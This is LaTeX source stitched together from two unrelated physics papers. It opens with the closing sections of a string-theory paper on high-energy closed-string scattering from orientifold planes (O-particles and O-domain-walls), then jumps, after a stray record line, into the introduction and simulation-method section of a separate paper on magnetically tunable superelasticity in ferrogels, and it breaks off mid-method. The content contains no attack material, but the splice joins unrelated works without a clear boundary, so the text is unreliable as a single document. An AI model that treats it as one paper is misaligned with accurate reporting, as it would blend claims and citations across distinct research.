& =\dfrac{1}{2}\left( -1\right) ^{n}\left( 2E\right) ^{2n}\left(
\frac{\sin^{2}\dfrac{\phi}{2}}{2M}\right) ^{q+q^{\prime}}B\left(
1+b_{0},1+c_{0}\right) \sum_{i=0}^{q+q^{\prime}}\binom{q+q^{\prime}}%
{i}\left( \dfrac{\cos^{2}\dfrac{\phi}{2}}{\sin^{2}\dfrac{\phi}{2}}\right)
^{i}\nonumber\\
& =\dfrac{1}{2}\left( -1\right) ^{n}\left( 2E\right) ^{2n}\left(
\frac{1}{2M}\right) ^{q+q^{\prime}}B\left( 1+b_{0},1+c_{0}\right)
\nonumber\\
& \sim\dfrac{1}{2}\left( -1\right) ^{n}\left( 2E\right) ^{2n}\left(
\frac{1}{2M}\right) ^{q+q^{\prime}}B\left( -\dfrac{t}{2},-\dfrac{u}%
{2}\right) . \label{O-particle}%
\end{align}
From Eq.(\ref{O-particle}) we see that the UV behavior of O-particle
scatterings is exponential fall-off and one gets infinite linear relations
among string scattering amplitudes of different string states at each fixed
mass level. Note that both $t$ and $u$ correspond to the closed string channel
poles, while $s$ corresponds to the open string channel poles. It can be seen
from Eq.(\ref{O-particle}) that an infinite closed string Regge poles exist in
the form factor of O-particle scatterings. Furthermore, there are no
$s$-channel open string Regge poles as expected since O-planes are not
dynamical. This is in contrast to the D-particle scatterings \cite{Dscatt}
where both infinite $s$-channel open string Regge poles and $t$-channel closed
string Regge poles exist in the form factor. We will see that the fundamental
characteristics of O-domain-wall scatterings are very different from those of
O-particle scatterings as we will now discuss in the next section.
\setcounter{equation}{0}
\renewcommand{\theequation}{\arabic{section}.\arabic{equation}}%
\section{High-energy O-domain-wall Scatterings}
For this case the kinematic setup is%
\begin{align}
e^{P} & =\frac{1}{M}\left( -E,\mathrm{k}_{2}\cos\theta,-\mathrm{k}_{2}%
\sin\theta\right) =\frac{k_{2}}{M},\label{10}\\
e^{L} & =\frac{1}{M}\left( -\mathrm{k}_{2},E\cos\theta,-E\sin\theta\right)
,\label{11}\\
e^{T} & =\left( 0,\sin\theta,\cos\theta\right) ,\label{12}\\
k_{1} & =\left( E,-\mathrm{k}_{1}\cos\phi,-\mathrm{k}_{1}\sin\phi\right)
,\label{13}\\
k_{2} & =\left( -E,\mathrm{k}_{2}\cos\theta,-\mathrm{k}_{2}\sin
\theta\right) . \label{14}%
\end{align}
In the high-energy limit, the angle of incidence $\phi$ is identical to the
angle of reflection $\theta$ and $Diag$ $D_{\mu\nu}=(-1,1,-1)$. The following
kinematic relations can be easily calculated%
\begin{align}
e^{T}\cdot k_{2} & =e^{L}\cdot k_{2}=0,\\
e^{T}\cdot k_{1} & =-2\mathrm{k}_{1}\sin\phi\cos\phi\sim-E\sin2\phi,\\
e^{T}\cdot D\cdot k_{1} & =0,\\
e^{T}\cdot D\cdot k_{2} & =2\mathrm{k}_{2}\sin\phi\cos\phi\sim E\sin2\phi,\\
e^{L}\cdot k_{1} & =\frac{1}{M}\left[ \mathrm{k}_{2}E-\mathrm{k}%
_{1}E\left( \cos^{2}\phi-\sin^{2}\phi\right) \right] \sim\frac{2E^{2}}%
{M}\sin^{2}\phi,\\
e^{L}\cdot D\cdot k_{1} & =0,\\
e^{L}\cdot D\cdot k_{2} & =\frac{1}{M}\left[ -\mathrm{k}_{2}E+\mathrm{k}%
_{2}E\left( \cos^{2}\phi-\sin^{2}\phi\right) \right] \sim-\frac{2E^{2}}%
{M}\sin^{2}\phi.
\end{align}
We define%
\begin{align}
a_{0} & \equiv k_{1}\cdot D\cdot k_{1}\sim-2E^{2}\sin^{2}\phi-2M_{1}^{2}%
\cos^{2}\phi+M_{1}^{2},\\
a_{0}^{\prime} & \equiv k_{2}\cdot D\cdot k_{2}=-E^{2}-\mathrm{k}_{2}%
^{2}\sim-2E^{2},\\
b_{0} & \equiv k_{1}\cdot k_{2}\sim2E^{2}\sin^{2}\phi+2M_{1}^{2}\cos^{2}%
\phi-\dfrac{1}{2}\left( M_{1}^{2}+M^{2}\right) ,\\
c_{0} & \equiv k_{1}\cdot D\cdot k_{2}=E^{2}-\mathrm{k}_{1}\mathrm{k}%
_{2}\sim\dfrac{1}{2}\left( M_{1}^{2}+M^{2}\right) , \label{c0}%
\end{align}
and the Mandelstam variables can be calculated to be%
\begin{align}
t & \equiv-\left( k_{1}+k_{2}\right) ^{2}=M_{1}^{2}+M_{2}^{2}-2k_{1}\cdot
k_{2}=M_{2}^{2}-2\left( 1+b_{0}\right) ,\\
s & \equiv\dfrac{1}{2}k_{1}\cdot D\cdot k_{1}=\dfrac{1}{2}a_{0},\\
u & =-2k_{1}\cdot D\cdot k_{2}=-2c_{0}.
\end{align}
The first term of high-energy scatterings from O-domain-wall is%
\begin{align}
4A_{1} & =\left( -1\right) ^{n}\int_{0}^{1}dr^{2}\left( 1+r^{2}\right)
^{a_{0}}r^{2b_{0}}\nonumber\\
& \cdot\left[ \frac{e^{T}\cdot k_{1}}{r}-\frac{e^{T}\cdot D\cdot k_{1}}%
{1}r\right] ^{n-2q}\cdot\left[ -\frac{e^{T}\cdot D\cdot k_{1}}{1}%
r+\frac{e^{T}\cdot k_{1}}{r}\right] ^{n-2q^{\prime}}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot k_{1}}{r^{2}}+\frac{e^{L}\cdot D\cdot k_{1}%
}{1}r^{2}\right] ^{q}\cdot\left[ \frac{e^{L}\cdot D\cdot k_{1}}{1}%
r^{2}+\frac{e^{L}\cdot k_{1}}{r^{2}}\right] ^{q^{\prime}}\nonumber\\
& \sim\left( -1\right) ^{n}\left( E\sin2\phi\right) ^{2n}\left( \frac
{1}{2M\cos^{2}\phi}\right) ^{q+q^{\prime}}\int_{0}^{1}dr^{2}\left(
1+r^{2}\right) ^{a_{0}}\left( r^{2}\right) ^{b_{0}-n}.
\end{align}
The second term can be similarly calculated to be%
\begin{align}
4A_{2} & =\left( -1\right) ^{n}\int_{0}^{1}dr^{2}\left( 1+r^{2}\right)
^{a_{0}}r^{2c_{0}}\nonumber\\
& \cdot\left[ \frac{e^{T}\cdot D\cdot k_{1}}{r}-\frac{e^{T}\cdot k_{1}}%
{1}r\right] ^{n-2q}\cdot\left[ -\frac{e^{T}\cdot k_{1}}{1}r+\frac{e^{T}\cdot
D\cdot k_{1}}{r}\right] ^{n-2q^{\prime}}\nonumber\\
& \cdot\left[ \frac{e^{L}\cdot D\cdot k_{1}}{r^{2}}+\frac{e^{L}\cdot k_{1}%
}{1}r^{2}\right] ^{q}\cdot\left[ \frac{e^{L}\cdot k_{1}}{1}r^{2}+\frac
{e^{L}\cdot D\cdot k_{1}}{r^{2}}\right] ^{q^{\prime}}\nonumber\\
& \sim\left( -1\right) ^{n}\left( E\sin2\phi\right) ^{2n-2\left(
q+q^{\prime}\right) }\left( \frac{2E^{2}}{M}\sin^{2}\phi\right)
^{q+q^{\prime}}\int_{0}^{1}dr^{2}\text{ }\left( 1+r^{2}\right) ^{a_{0}%
}\left( r^{2}\right) ^{c_{0}+n}.
\end{align}
The scattering amplitudes of O-domain-wall on $RP_{2}$ can therefore be
calculated to be%
\begin{align}
A^{RP_{2}} & =A_{1}+A_{2}+A_{3}+A_{4}\nonumber\\
& =\dfrac{1}{2}\left( -1\right) ^{n}\left( E\sin2\phi\right) ^{2n}\left(
\frac{1}{2M\cos^{2}\phi}\right) ^{q+q^{\prime}}\nonumber\\
& \cdot\int_{0}^{1}dr^{2}\left( 1+r^{2}\right) ^{a_{0}}\left[ \left(
r^{2}\right) ^{b_{0}-n}+\left( r^{2}\right) ^{c_{0}+n}\right] .
\end{align}
By using the similar techanique for the case of O-particle scatterings, the
integral above can be calculated to be%
\begin{align}
& \int dr^{2}\left( 1+r^{2}\right) ^{a_{0}}\left[ \left( r^{2}\right)
^{b_{0}-n}+\left( r^{2}\right) ^{c_{0}+n}\right] \nonumber\\
& =\dfrac{F\left( -a_{0},1+b_{0}-n,2+b_{0}-n,-1\right) }{1+b_{0}-n}%
+\dfrac{F\left( -a_{0},1+c_{0}+n,2+c_{0}+n,-1\right) }{1+c_{0}+n}\nonumber\\
& =\dfrac{2^{2+a_{0}+b_{0}+c_{0}}}{\left( 1+b_{0}-n\right) \left(
1+c_{0}+n\right) }\dfrac{\Gamma\left( 2+c_{0}+n\right) \Gamma\left(
2+b_{0}-n\right) }{\Gamma\left( 2+b_{0}+c_{0}\right) }\nonumber\\
& =\dfrac{\Gamma\left( 1+c_{0}+n\right) \Gamma\left( 1+b_{0}-n\right)
}{\Gamma\left( 2+b_{0}+c_{0}\right) }.
\end{align}
One thus ends up with%
\begin{align}
A^{RP_{2}} & =A_{1}+A_{2}+A_{3}+A_{4}\nonumber\\
& =\dfrac{1}{2}\left( -1\right) ^{n}\left( E\sin2\phi\right) ^{2n}\left(
\frac{1}{2M\cos^{2}\phi}\right) ^{q+q^{\prime}}\dfrac{\Gamma\left(
c_{0}+n+1\right) \Gamma\left( b_{0}-n+1\right) }{\Gamma\left( b_{0}%
+c_{0}+2\right) }. \label{pole}%
\end{align}
Some crucial points of this result are in order. First, since $c_{0}$ is a
constant in the high-energy limit, the UV behavior of the O-domain-wall
scatterings is power-law instead of the usual exponential fall-off in other
O-plane scatterings. Second, there exist only \textit{finite} number of closed
string poles in the form factor. Note that although we only look at the high
energy kinimatic regime of the scattering amplitudes, it is easy to see that
there exists no infinite closed string Regge poles in the scattering
amplitudes for the whole kinematic regime. This is because there is only one
kinematic variable for the O-domain-wall scatterings. In fact, the structure
of poles in Eq$.$(\ref{pole}) can be calculated to be
\begin{align}
& \dfrac{\Gamma\left( 1+c_{0}+n\right) \Gamma\left( 1+b_{0}-n\right)
}{\Gamma\left( 2+b_{0}+c_{0}\right) }\nonumber\\
& =\dfrac{\Gamma\left( 1+M^{2}\right) \Gamma\left( 1+b_{0}-n\right)
}{\Gamma\left( b_{0}+n\right) }\nonumber\\
& =\Gamma\left( 1+M^{2}\right) \dfrac{\left( b_{0}-n\right) !}{\left(
b_{0}+n-1\right) !}\nonumber\\
& =\Gamma\left( 1+M^{2}\right)
{\displaystyle\prod\limits_{k=1-n}^{n-1}}
\dfrac{1}{b_{0}-k}%
\end{align}
where we have used $c_{0}\equiv\dfrac{1}{2}\left( M_{1}^{2}+M^{2}\right) $
in the high-energy limit. It is easy to see that the larger the mass $M$ of
the external leg is, the more numerous the closed string poles are. We thus
confirm that all massive string states do couple to the O-domain-wall as was
conjectured previously \cite{Myers, Garousi}. This is also consistent with the
boundary state descriptions of O-planes. However, the claim that there is a
thinkness of order$\sqrt{\alpha^{^{\prime}}}$ for the O-domain-wall is
misleading as the UV behavior of its scatterings is power-law instead of
exponential fall-off. This concludes that, in contrast to the usual behavior
of high-energy, fixed angle string scattering amplitudes, namely soft UV,
linear relations and the existence of infinite Regge poles, O-domain-wall
scatterings, like the well-known D-instanton scatterings, behave like field
theory scatterings.
\section{Conclusions and discussions}%
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=2.6247in,
width=5.047in
]%
{t-s.eps}%
\caption{There are two possible channals for closed strings scattered from
D-branes/O-planes. The diagram on the left hand side corresponds to the
s-channel scatterings, and the diagram on the right hand side is the t-channel
scatterings.}%
\label{t-s}%
\end{center}
\end{figure}
In this paper, we calculate bosonic massive closed string states at arbitrary
mass levels scattered from Orientifold planes in the high-energy limit. We
have concentrated on the discussions of three fundamental characteristics of
high-energy, fixed angle string scattering amplitudes, namely soft UV,
infinite Regge poles and infinite linear relations discovered recently. For
the case of O-particle scatterings, we obtain infinite linear relations among
high-energy scattering amplitudes of different string states at each fixed
mass level. Moreover, the amplitude was found to be UV soft, namely,
exponential fall-off behavior. We also confirm that there exist only infinite
$t$-channel closed string Regge poles in the form factor of the O-particle
scatterings amplitudes as expected. For the case of O-domain-wall scatterings,
we find that, like the well-known D-instanton scatterings, the amplitudes
behave like field theory scatterings, namely UV power-law without infinite
Regge poles. In addition, we discover that there exist only finite number of
$t$-channel closed string poles in the form factor, and the masses of the
poles are bounded by the masses of the external legs. We thus confirm that all
massive closed string states do couple to the O-domain-wall as was conjectured
previously \cite{Myers, Garousi}. This is also consistent with the boundary
state descriptions of O-planes. For both cases of O-particle and O-domain-wall
scatterings, we confirm that there exist no open string Regge poles in the
form factor of the amplitudes as O-planes were known to be not dynamical.
We summarize the Regge pole structures of closed strings states scattered from
various D-branes and O-planes in the table. The $s$-channel and $t$-channel
scatterings for both D-branes and O-planes are shown in the Fig. 1. For
O-plane scatterings, the $s$-channel open string Regge poles are not allowed
since O-planes are not dynamical. For both cases of Domain-wall scatterings,
the $t$-channel closed string Regge poles are not allowed since there is only
one kinematic variable instead of two as in the usual cases.
\begin{center}
\ \
\begin{tabular}
[c]{|c|c|c|c|}\hline
& $p=-1$ & $1\leq p\leq23$ & $p=24$\\\hline
D$p$-branes & X & C+O & O\\\hline
O$p$-planes & X & C & X\\\hline
\end{tabular}
\end{center}
In this table, "C" and "O" represent infinite Closed string Regge poles and
Open string Regge poles respectively. "X" means there are no infinite Regge poles.
\section{Acknowledgments}
We would like to thank the hospitality of University of Tokyo at Komaba, where
most of this work was done. We are indebted to Prof. Tamiaki Yoneya for many
of his enlightening discussions. This work is supported in part by the
National Science Council, 50 billions project of Ministry of Educaton and
National Center for Theoretical Science, Taiwan, R.O.C.
|
1,477,468,750,058 | arxiv | \section{Introduction}
\label{sec.introduction}
Ferrogels \cite{Zrinyi1995_PolymGelsNetw,Menzel2015_PhysRep,Odenbach2016_ArchApplMech}, also known as soft magnetic materials, magnetic gels, magnetic elastomers, or magnetorheological elastomers, are manufactured by embedding colloidal magnetic particles into an elastic matrix that most often consists of cross-linked polymer.
This leads to an interplay between magnetic and elastic interactions, allowing to reversibly adjust the material properties via external magnetic fields \cite{Jarkova2003_PhysRevE,Filipcsei2007_AdvPolymSci,Mitsumata2011_PolymChem,Wood2011_PhysRevE,Han2013_IntJSolidsStruct,Mitsumata2013_SoftMatter,Stoll2014_JApplPolymSci,Peroukidis2015_PhysRevE,Peroukidis2015_SoftMatter,Schubert2016_SmartMaterStruct,Wang2016_SmartMaterStruct,Sedlacik2016_ComposStruct}.
On the other hand, dynamically switching the elastic properties allows applications as tunable dampers \cite{Sun2008_PolymTest} or vibration absorbers \cite{Deng2006_SmartMaterStruct}.
Moreover, shape changes \cite{Filipcsei2007_AdvPolymSci,Stepanov2007_Polymer,Nguyen2010_MacromolChemPhys,Snyder2010_ActaMater,Gong2012_ApplPhysLett} are interesting for the realization of soft actuators \cite{Zhou2005_SmartMaterStruct,Zimmermann2006_JPhysCondensMatter,Boese2012_JIntellMaterSystStruct,Kashima2012_IEEETransMagn,Galipeau2013_ProcRSocA,Allahyarov2014_SmartMaterStruct}.
Also shape-memory effects have been observed in soft magnetic materials \cite{Nikitin2004_JMagnMagnMater,Stepanov2008_JPhysCondensMatter,Melenev2011_JIntellMaterSystStruct}, opening the way for even more interesting applications.
Recently we have identified another fascinating feature of soft magnetic materials in a simulation study \cite{Cremer2015_ApplPhysLett}, namely tunable superelasticity. This term was originally introduced in the context of shape-memory alloys \cite{Otsuka2002_MRSBull,Otsuka2005_ProgMaterSci,Liu2013_SciRep}.
It addresses their special nonlinear stress-strain behavior with a plateau-like regime, where a small additional load leads to a huge additional deformation that is, however, completely reversible.
In shape-memory alloys, the constituents are positioned on regular lattice sites.
The observed behavior is enabled by a stress-induced transition of the material to a more elongated lattice structure that can accomodate the deformation.
When the load is released, the shape-memory alloy performs the opposite lattice transition, which renders the whole process reversible.
In the case of anisotropic soft magnetic gels \cite{Collin2003_MacromolRapidCommun,Bohlius2004_PhysRevE,Filipcsei2007_AdvPolymSci,Guenther2012_SmartMaterStruct,Borin2012_JMagnMagnMater,Han2013_IntJSolidsStruct,Tian2013_MaterResBull}, the superelastic behavior is enabled by stress-induced structural changes.
Such samples can be synthesized by applying a strong external magnetic field during the chemical cross-linking process that forms the elastic matrix.
Before cross-linking, when the magnetic particles are still mobile, straight chain-like aggregates form along the field direction \cite{Zubarev2000_PhysRevE,Hynninen2005_PhysRevLett,Auernhammer2006_JChemPhys,Smallenburg2012_JPhysCondensMatter}.
Cross-linking the polymer locks the particle positions into the elastic matrix even after the external field is switched off.
Our previous numerical study of stretching a magnetic gel containing chain-like aggregates along the direction of the chains revealed the following behavior.
The strong magnetic attractions within the chains first work against the elongation.
However, once the magnetic barriers to detach chained particles are overcome, the material strongly extends.
A part of the stored stress working against the magnetic interactions is released, leading to additional strain without hardly any additional stress necessary.
This behavior gives rise to to a strongly nonlinear, ``superelastic'' plateau in the stress-strain curve, similar to the phenomenology found for shape-memory alloys.
The strain regime that is covered by this plateau, however, is significantly larger.
Additionally, it is possible to tailor the nonlinear stress-strain behavior by external magnetic fields.
Combined with the typically higher degree of biocompatibility of soft polymeric materials \cite{ElFeninat2002_AdvEngMater,Liu2007_JMaterChem,Sokolowski2007_BiomedMater,Leng2009_MRSBull,Behl2010_AdvMater}, medical applications \cite{Li2013_AdvFunctMater,Cezar2014_AdvHealthcMater,Cezar2016_ProcNatlAcadSciUSA,Mody2016_JInorgBiochem} might become possible.
In this previous study \cite{Cremer2015_ApplPhysLett}, we restricted ourselves to the assumption that the magnetic moments of the embedded particles are free to reorient.
First, this is possible when each magnetic moment can reorient within the particle interior, which typically can be observed as the so-called N\'eel mechanism up to particle diameters of to 10--15 nm \cite{Neel1949_AnnGeophys}.
Second, the type of embedding in the elastic matrix can allow the whole particle to rotate, at least quasi-statically, without deforming the matrix, e.g., when in the vicinity of the particles the cross-linking of the polymer matrix is inhibited \cite{Gundermann2014_SmartMaterStruct}.
Finally, yolk-shell colloidal particles feature a magnetic core that can rotate relatively to the nonmagnetic shell surrounding it \cite{Liu2012_JMaterChem,Okada2013_Langmuir}.
Here, we mainly concentrate on the opposite scenario for spherical, rigid magnetic particles.
That is, the magnetic moments are not free to reorient with respect to the embedding matrix.
Two ingredients are necessary for this purpose.
First, the matrix must be anchored to the particle surfaces.
In reality, this can be achieved when chemically the particles themselves act as cross-linkers of the polymer matrix \cite{Fuhrer2009_Small,Frickel2011_JMaterChem,Ilg2013_SoftMatter,Roeder2014_Macromolecules,Roeder2015_PhysChemChemPhys,Weeber2015_JMagnMagnMater}.
Second, the magnetic moments must not rotate relatively to the particle frames.
This is the case for magnetically anisotropic monodomain particles that are large enough to block the N\'eel mechanism.
Again we can observe superelastic stress-strain behavior in such systems and again the nonlinearity can be tuned by external magnetic fields.
Yet, the response is altered though, due to the different coupling of the magnetic filler particles to the surrounding matrix.
An external magnetic field parallel to the chain-like aggregates largely leaves the superelastic behavior intact.
Still, a sufficiently strong perpendicular field rotates the particles out of the initial alignment configuration and gradually removes the nonlinearity from the stress-strain curve.
However, due to the covalent coupling to the elastic matrix counteracting particle rotations, the necessary field strengths to deactivate superelasticity are much higher when compared to the case of freely reorientable magnetic moments.
In Sec.~\ref{sec.simulation} we begin by introducing our numerical model and our simulation technique for measuring the stress-strain behavior.
Next, in Sec.~\ref{sec.definition_of_systems}, we define several ferrogel systems with different coupling properties between the particles and the surrounding elastic matrix.
Afterwards, in Sec.~\ref{sec.results_and_discussion}, we analyze the resulting stress-strain behavior for these different systems and the various mechanisms and effects leading to the emerging superelastic features.
We start with the case of vanishing external magnetic field and then proceed to fields parallel and perpendicular to the chain-like aggregates.
Finally, in Sec.~\ref{sec.conclusions}, we conclude by reviewing our results and discussing possible experimental realizations as well as prospective applications.
\section{Numerical model and simulation procedure}
\label{sec.simulation}
The purpose of our simulations is to determine the nonlinear stress-strain behavior of uniaxial ferrogel systems containing chain-like aggregates.
To achieve this, we require numerical representations of both the polymer matrix and of the embedded colloidal magnetic particles.
Let us first discuss our representation of the polymer matrix.
We assume that all molecular details of the cross-linked polymer can be ignored, so that we can treat the matrix as a continuous and isotropic elastic medium.
We tessellate it into a three-dimensional mesh of sufficiently small tetrahedra.
Spherical magnetic particles are embedded into this mesh by approximating their surfaces as sets of planar triangles, which become faces of the tetrahedral mesh.
This tessellation was enabled by the mesh generation tool \emph{gmsh} \cite{Geuzaine2009_IntJNumerMethEng}, which is based on Delaunay triangulation \cite{Delaunay1934}.
It allows to set a characteristic length scale parameter controlling the typical length of the tetrahedra edges, for which we used $0.35R$, where $R$ is the radius of the particles.
Each tetrahedron of the mesh may deform affinely, which is associated with an elastic deformation energy $U_\textrm{e}$ given by the following nearly-incompressible Neo-Hookean hyperelastic model \cite{Hartmann2003_IntJSolidsStruct}:
\begin{equation}
\begin{aligned}
U_\textrm{e} = V_0 &\left[ \left(\frac{\mu}{2} \Tr\left\{\mathbf{F}^t \cdot \mathbf{F}\right\} - 3\right) - \mu\left(\det{\mathbf{F}} - 1\right) \right. \\
& \left. \quad + \frac{\lambda + \mu}{2} \left(\det{\mathbf{F}} - 1\right)^2 \right] .
\end{aligned}
\label{eq.elasticEnergy_neoHooke}
\end{equation}
Here the elastic properties of the isotropic matrix enter via the Lam\'e coefficients $\mu$ and $\lambda$ \cite{Landau2012_book}. They can also be expressed in terms of the elastic modulus $E$ and the Poisson ratio $\nu$ via $\mu = \frac{E}{2(1 + \nu)}$ and $\lambda = \frac{E \nu}{(1+\nu)(1-2\nu)}$.
$V_0$ denotes the volume of the tetrahedron in the undeformed state. $\mathbf{F}$ is the deformation gradient tensor prescribing the affine transformation that brings the tetrahedron from its undeformed state to the deformed state.
The deformed state of the tetrahedron is characterized by the matrix $\mathbf{X} := ( \mathbf{x}_1 - \mathbf{x}_0,\, \mathbf{x}_2 - \mathbf{x}_0,\, \mathbf{x}_3 - \mathbf{x}_0 )$ that contains the current positions $\mathbf{x}_0$, $\mathbf{x}_1$, $\mathbf{x}_2$, $\mathbf{x}_3$ of the four nodes (vertices), see Fig.~\ref{fig.deformation_sketch} for an illustration.
Similarly, the matrix $\mathbf{\tilde{X}} := ( \mathbf{\tilde{x}}_1 - \mathbf{\tilde{x}}_0,\, \mathbf{\tilde{x}}_2 - \mathbf{\tilde{x}}_0,\, \mathbf{\tilde{x}}_3 - \mathbf{\tilde{x}}_0 )$ determines the undeformed (reference) state of the tetrahedron with node positions $\mathbf{\tilde{x}}_0$, $\mathbf{\tilde{x}}_1$, $\mathbf{\tilde{x}}_2$, $\mathbf{\tilde{x}}_3$.
Since $\mathbf{F}$ is the affine transformation that connects the deformed state to the reference state, we have $\mathbf{X} = \mathbf{F} \cdot \mathbf{\tilde{X}}$.
Now the deformation gradient tensor $\mathbf{F}$ can be obtained \cite{Irving2006_GraphModels} by multiplying from the right with $\mathbf{\tilde{X}}^{-1}$ , yielding
\begin{equation}
\mathbf{F}(\mathbf{X}) = \mathbf{X} \cdot \mathbf{\tilde{X}}^{-1}.
\label{eq.deformation_gradient_tensor}
\end{equation}
The undeformed reference state never changes, hence the inverse matrix $\mathbf{\tilde{X}}^{-1}$ remains constant and has to be calculated only once.
This allows to determine the elastic deformation energy $U_e(\mathbf{F(\mathbf{X})})$ in any deformed configuration from the positions of the tetrahedral nodes.
\begin{figure}[htb]
\centering
\includegraphics[width=1.0\columnwidth]{deformation_sketch2}
\caption{The undeformed state $\mathbf{\tilde{X}}$ of each tetrahedron is determined by the reference node positions $\mathbf{\tilde{x}}_0$, $\mathbf{\tilde{x}}_1$, $\mathbf{\tilde{x}}_2$, $\mathbf{\tilde{x}}_3$ via $\mathbf{\tilde{X}} = ( \mathbf{\tilde{x}}_1 - \mathbf{\tilde{x}}_0,\, \mathbf{\tilde{x}}_2 - \mathbf{\tilde{x}}_0,\, \mathbf{\tilde{x}}_3 - \mathbf{\tilde{x}}_0 )$, while the deformed state $\mathbf{X}$ is characterized by the present node positions $\mathbf{x}_0$, $\mathbf{x}_1$, $\mathbf{x}_2$, $\mathbf{x}_3$ in the form $\mathbf{X} = ( \mathbf{x}_1 - \mathbf{x}_0,\, \mathbf{x}_2 - \mathbf{x}_0,\, \mathbf{x}_3 - \mathbf{x}_0 )$. Both states are connected via the deformation gradient tensor $\mathbf{F}$.}
\label{fig.deformation_sketch}
\end{figure}
Calculation of the force $\mathbf{f}_i$ on each node $i$ ($i = 0,1,2,3$) is then straightforward,
\begin{equation}
\mathbf{f}_i = -\nabla_{\mathbf{x}_i} U_e(\mathbf{F}) = -\frac{\partial U_e(\mathbf{F}) }{\partial \mathbf{F}} \cdot \frac{\partial \mathbf{F}}{\partial \mathbf{x}_i} \, .
\label{eq.node_force}
\end{equation}
These forces allow us to determine the displacements of the nodes.
The characterization of the elastic matrix is thus completed.
In a second step, we turn to the embedded rigid particles.
Since they are rigid objects, we have to treat nodes attached to particle surfaces in a special way.
The forces on these nodes are transmitted to the corresponding particle, which leads to net forces and torques on the particles.
Rotations and translations of the particles due to these forces and torques are calculated.
They, in turn, determine the displacements of the surface nodes.
We perform a parallel calculation of all node forces in the system by slicing it into different sections, that can be handled separately.
Next we discuss our representation of the magnetic interactions.
We assume that all $N$ magnetic particles possess permanent dipolar magnetic moments of equal magnitude $m$.
This leads us to a total magnetic interaction energy given by
\begin{equation}
\begin{aligned}
U_m &= \frac{\mu_0}{4\pi} \sum_{i=1}^N \sum_{j = 1}^{i-1} \frac{\mathbf{m}_i \cdot \mathbf{m}_j - 3\left(\mathbf{m}_i \cdot \mathbf{\hat{r}}_{ij} \right)\left(\mathbf{m}_j \cdot \mathbf{\hat{r}}_{ij} \right) }{ r_{ij}^3} \\ &-\sum_{i=1}^N \mathbf{m}_i \cdot \mathbf{B}.
\end{aligned}
\label{eq.dipole_potential_energy}
\end{equation}
Here $\mu_0$ is the vacuum permeability, $\mathbf{m}_i$ and $\mathbf{m}_j$ are the magnetic moments of particles $i$ and $j$, respectively, with $|\mathbf{m}_i| = |\mathbf{m}_j| = m$, $\mathbf{r}_{ij} := \mathbf{r}_i - \mathbf{r}_j$ is the separation vector between both particles, $r_{ij}=|\mathbf{r}_{ij}|$ is its magnitude, $\mathbf{\hat{r}}_{ij}=\mathbf{r}_{ij}/r_{ij}$, and $\mathbf{B}$ is an externally applied magnetic field.
The magnetic dipolar interaction can be strongly attractive at short distances, when the magnetic moments of interacting particles are in a head-to-tail configuration.
In order to prevent an unphysical interpenetration of the particles due to such an attraction, we additionally introduce a steric repulsion between the particles that counteracts the attraction at short distances.
The WCA potential \cite{Weeks1971_JChemPhys}
\begin{equation}
U_{\text{wca}} = \begin{cases}
4\epsilon\left[ \left(\frac{\sigma}{r}\right)^{12}-\left(\frac{\sigma}{r}\right)^{6}+\frac{1}{4} \right], & \text{if } r \leq 2^{1/6}\sigma, \\
0, & \text{if } r> 2^{1/6}\sigma,
\end{cases}
\label{eq.wca}
\end{equation}
is hard and finite-ranged and commonly used to represent steric repulsions.
Its strong scaling with the particle distance compared to the dipolar interactions ($r^{-12}$ vs. $r^{-3}$) makes it the dominating contribution for short distances.
By setting $\epsilon = \frac{\mu_0}{4\pi} \frac{m^2}{32 R^3}$ and $\sigma=2R$, the dipolar force between two particles, with their magnetic moments aligned in the most attractive head-to-tail configuration, is exactly balanced by the repulsive WCA interaction when they are at contact.
All these ingredients together express the total energy of the system.
It is a function of the node positions of the tetrahedral mesh, the particle positions, the particle orientations, and the orientations of the magnetic moments of the particles.
We equilibrate our systems by performing an energy minimization with respect to these degrees of freedom.
As a numerical scheme, we employ the \emph{FIRE} algorithm \cite{Bitzek2006_PhysRevLett}, using the forces and torques resulting from Eqs.~\eqref{eq.elasticEnergy_neoHooke}--\eqref{eq.wca} to drive the system towards its energetic minimum.
\emph{FIRE} is a molecular dynamics scheme that uses adaptive time steps and modifies the velocities resulting from the forces and torques to achieve a quicker relaxation.
There are several parameters controlling these modifications of velocities and time step, for which we use the values suggested in Ref.~\cite{Bitzek2006_PhysRevLett}.
Numerical stability is ensured by an upper bound $\Delta t_\text{max}$ for the time step, which we have set to $\Delta t_\text{max} = 0.01$.
From our experience, this rather simple minimization scheme is quite competitive with more sophisticated schemes like nonlinear conjugate gradient \cite{Hager2006_PacJOptim} that we employed in our earlier work in Ref.~\cite{Cremer2015_ApplPhysLett}.
In extreme situations of deformation, unphysical behavior may result, such as the inversion of individual tetrahedra or their penetration into the spherical particles.
The physical input parameters for our simulations are the elastic modulus $E$ and Poisson ratio $\nu$ of the matrix, the magnitude $m$ of the magnetic moments and eventually the external magnetic field $\mathbf{B}$.
We measure forces $F$ in units of $F_0 = ER^2$, magnetic moments in units of $m_0 = R^3 \sqrt{\frac{4\pi}{\mu_0} E}$, and magnetic field strength in units of $B_0 = \sqrt{\frac{\mu_0}{4\pi}E}$.
Throughout his work, we fix the material parameters by choosing $\nu = 0.495$ and $m = 10\,m_0$.
Besides the material properties, the behavior of a sample depends on its shape \cite{Diguet2010_JMagnMagnMater,Allahyarov2014_SmartMaterStruct} and on the internal distribution of particles \cite{Zubarev2013_PhysicaA,Pessot2014_JChemPhys,Gundermann2016_unpublished}.
Our characteristic numerical probes are small three-dimensional systems of magnetic particles embedded into an initially rectangular box of elastic material.
The box dimensions are $22.5R \times 10.4R \times 10.4 R$, containing $96$ identical spherical particles.
These particles are arranged into $12$ chain-like aggregates of $8$ particles each.
All chains are aligned parallel to the long edge of the box (the $x$-direction).
Neighboring particles in the same chain are initially separated by a finite gap of elastic material of thickness $R/2$.
The positions of the chains are chosen at random, with the constraint that they shall not overlap and have a minimum distance of $R/4$ to the box boundaries.
This results in a configuration of chains shifted with respect to each other along their axes by a maximum amount of $2.5R$.
Since this maximum shift equals the particle diameter plus the gap thickness, there is no statistical preference of any particular particle-gap configuration between two chains.
Our results are based on $20$ different systems created in this manner, each with a unique particle configuration.
About 250000 tetrahedra result in each case from the mesh generation.
To measure the uniaxial stress-strain behavior of such a numerical system, we quasi-statically stretch it along the chain direction, using the following protocol.
We define two numerical clamps, on the two faces where chains start and end.
In our geometry, these faces are normal to the $x$-direction.
All particles on the chain ends are subject to the corresponding numerical clamp.
Particles within the clamps may rotate.
